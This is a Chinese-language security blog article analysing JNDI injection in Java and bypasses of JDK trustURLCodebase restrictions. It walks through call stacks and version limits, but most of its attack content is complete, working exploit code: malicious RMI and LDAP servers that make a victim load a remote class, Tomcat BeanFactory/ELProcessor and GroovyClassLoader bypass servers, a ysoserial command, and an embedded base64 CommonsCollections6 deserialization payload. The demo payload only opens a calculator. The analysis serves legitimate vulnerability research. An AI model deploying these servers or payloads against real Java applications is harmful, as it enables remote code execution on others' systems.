高版本JDK下的JNDI注入浅析
流沙安全实验室 漏洞分析 8356浏览 · 2021-12-21 15:29

高版本JDK下的JNDI注入浅析

JNDI-RMI Analysis

流程分析

RMI服务端

package com.RMI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIAtkServer {
    public static void main(String[] args) throws Exception{
        Registry registry= LocateRegistry.createRegistry(4396);
        Reference reference = new Reference("Test", "Test", "http://localhost/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("calc", referenceWrapper);
    }
}

恶意类

import java.io.IOException;

public class Test {
    static{
    try {
        Runtime.getRuntime().exec("open -a Calculator.app");
    } catch (IOException e) {
        e.printStackTrace();
    }
}
}

JNDI客户端

package com.jndi;

import javax.naming.InitialContext;

public class jndiI {
    public static void main(String[] args) throws Exception{
        new InitialContext().lookup("rmi://127.0.0.1:4396/calc");
//        new InitialContext().lookup("ldap://127.0.0.1:7777/calc");
    }
}

下端点进行分析

看名字就很明确,首选会通过getURLOrDefaultInitCtx()初始化默认的上下文

接着跟入lookup()

首先调用getRootURLContext()

该接口主要针对不同协议调用不同的getRootURLContext()

因为我这里输入的jndiname是rmi的,因此为调用到rmiURLContext#getRootURLContext()来对jndiname进行一些处理和特殊字符检测。

接着步过到var3.lookup()

跟入lookup()

首先对lookup对象做非空判断,然后调用this.registry.lookup()

这一步的意思就是委托Stub去注册中心(Registry)寻找calc对象

关于RMI原理不太清楚的可以看之前的文章:JAVA反序列化之RMI

接着跟入decodeObject()

ReferenceWrapper_StubRemoteReference的实现类,因此会将Reference对象赋值给var3

跟入NamingManager#getObjectInstance(),该方法为获取Factory的方法

步过

调用了getObjectFactoryFromReference()

步入

这里的代码非常关键,首先尝试从本地还在Factory类,若为null,则会从codebase中加载,即从远程加载class

完成加载后还会在下方进行newInstance(),即实例化,这里也就是触发恶意类中静态代码块儿(static {})的点位

再看一下loadClass的具体实现

最终调用的是VersionHelper12#loadClass

可以发现是通过URLClassLoader去完成类的加载的

除此之外还会调用被加载类的getObjectInstance()

因此整个JNDI的流程走完,以下方式写的恶意代码都会触发

  • 方法块: {}
  • 静态代码块: static {}
  • 无参构造方法
  • getObjectInstance()

方法调用栈

exec:347, Runtime (java.lang)
<clinit>:6, Test
forName0:-1, Class (java.lang)
forName:340, Class (java.lang)
loadClass:72, VersionHelper12 (com.sun.naming.internal)
loadClass:61, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:7, jndiI (com.jndi)

版本限制

使用RMI+JNDI Reference的方式,在JDK 6u141、7u131、8u121 及以后的版本被限制

官方ChangeLog文档:https://www.oracle.com/java/technologies/javase/8u121-relnotes.html

官方将

com.sun.jndi.rmi.object.trustURLCodebase
com.sun.jndi.cosnaming.object.trustURLCodebase

的值设置为false,则不能再从codebase中加载类了

JNDI-LDAP Analysis

流程分析

LDAP服务端

package com.ldap;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LdapAtkServer {

    private static final String LDAP_BASE = "dc=t4rrega,dc=domain";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1/#Test"};
        int port = 7777;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

依赖

<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>3.1.1</version>
</dependency>

调用过程在获取到上下文后,与RMI一致,不重复分析

方法调用栈

exec:347, Runtime (java.lang)
<clinit>:6, Test
forName0:-1, Class (java.lang)
forName:340, Class (java.lang)
loadClass:72, VersionHelper12 (com.sun.naming.internal)
loadClass:61, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:8, jndiI (com.jndi)

版本限制

使用LDAP+JNDI Reference的方式,在JDK 11.0.1、8u191、7u201、6u211后被限制

com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false

JNDI Injection Bypass

目前公布的可行性方案有两种:

  • 利用本地Class作为Reference Factory
    • javax.el.ELProcessor
    • groovy.lang.GroovyClassLoader
    • com.ibm.ws.client.applicationclient.ClientJ2CCFFactory
    • ...
  • 利用服务器可利用的反序列化gadget

Load Local Class

虽然8u191后已经不允许加载codebase中的类,但仍然可以从本地加载Reference Factory

需要注意是,该本地类必须实现javax.naming.spi.ObjectFactory接口,因为在javax.naming.spi.NamingManager#getObjectFactoryFromReference最后的return语句对Factory类的实例对象进行了类型转换

并且该工厂类至少存在一个getObjectInstance()方法

org.apache.naming.factory.BeanFactory就是满足条件之一,并由于该类存在于Tomcat8依赖包中,攻击面和成功率还是比较高的

Tomcat8

分析

BeanFactory#getObjectInstance()首选会判断obj是否是ResourceRef,若是则

实例化Reference对象,并获取beanClassName

最后通过反射实例化Reference所指向的任意BeanClass,并且会调用setter方法为所有的属性赋值

并且BeanClass的类名、属性、属性值,都来自于Reference对象,均是可控的

继续阅读BeanClass的代码,可以发现:

forceString可以给属性强制指定一个setter方法,这里原作者Michael Stepankin(Exploiting JNDI Injections in Java)所使用的是ELProcessor.eval()

ELProcessor.eval()会对EL表达式进行求值,即会执行命令

实现

RMI服务端

package com.jndi.bypass;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Tomcat8bypass {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
        resourceRef.add(new StringRefAddr("forceString", "t4rrega=eval"));
        resourceRef.add(new StringRefAddr("t4rrega", "Runtime.getRuntime().exec(\"open -a Calculator.app\")"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("Tomcat8bypass", referenceWrapper);
    }
}

依赖

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.0</version>
</dependency>
<dependency>
    <groupId>org.lucee</groupId>
    <artifactId>javax.el</artifactId>
    <version>3.0.0</version>
</dependency>

JNDI加载本地Factory

Groovy

在Groovy的官方文档(ASTest)中,可以发现的是,Groovy程序允许我们执行断言,也就意味着命令执行

@ASTTest是一种特殊的AST转换,它会在编译期对AST执行断言,而不是对编译结果执行断言。这意味着此AST转换在生成字节码之前可以访问 AST。@ASTTest可以放置在任何可注释节点上。

因此思路和Tomcat相似,借助BeanFactory的功能,使程序执行GroovyClassLoader#parseClass,然后去解析groovy脚本

RMI服务端

package com.jndi.bypass;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Groovy2bypass {

    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef resourceRef = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        resourceRef.add(new StringRefAddr("forceString", "t4rrega=parseClass"));
        String script = String.format("@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef t4rrega\n", "open -a Calculator.app");
        resourceRef.add(new StringRefAddr("t4rrega",script));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("Groovy2bypass", referenceWrapper);
    }
}

依赖

<dependency>
    <groupId>org.codehaus.groovy</groupId>
    <artifactId>groovy</artifactId>
    <version>2.4.5</version>
</dependency>

Server Gadget

利用LDAP返回的序列化数据,我们可以触发本地存在的Gadget

在Ldap中,Java有多种方式进行数据存储:

  • 序列化数据
  • JNDI Reference
  • Marshalled Object
  • Remote Location

同时Ldap也可以为存储的对象指定多种属性:

  • javaCodeBase
  • objectClass
  • javaFactory
  • javaSerializedData

如果Ldap存储的某个对象的javaSerializedData值不为空,则客户端会通过调用obj.decodeObject()对该属性值内容进行反序列化。

分析

JNDI在完成lookup后,会对对象调用decodeObject方法

跟入decodeObject

可以发现,首先判断JAVA_ATTRIBUTES[1],也就是javaSerializedData是否为空

不为空就会调用deserializeObject()

跟入

发现对var20进行了反序列化,此处的var20就是从javaSerializedData获取的序列化数据

实现

使用ysoserial生成恶意对象,并将字节码base64加密

java -jar ysoserial.jar CommonsCollections6 "open -a Calculator.app"|base64

ldap服务端

package com.jndi.bypass;

import java.net.InetAddress;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

public class Deserializebypass {

    private static final String LDAP_BASE = "dc=t4rrega,dc=domain";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1/#Deserialize"};
        int port = 7777;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new Deserializebypass.OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

Tools

feihong师傅的https://gitee.com/bjmlw2021/JNDIExploit

Reference

https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
http://groovy-lang.org/metaprogramming.html#xform-ASTTest
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
https://www.oracle.com/java/technologies/javase/8u191-relnotes.html
https://github.com/veracode-research/rogue-jndi
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
https://gitee.com/bjmlw2021/JNDIExploit

1 条评论
某人
表情
可输入 255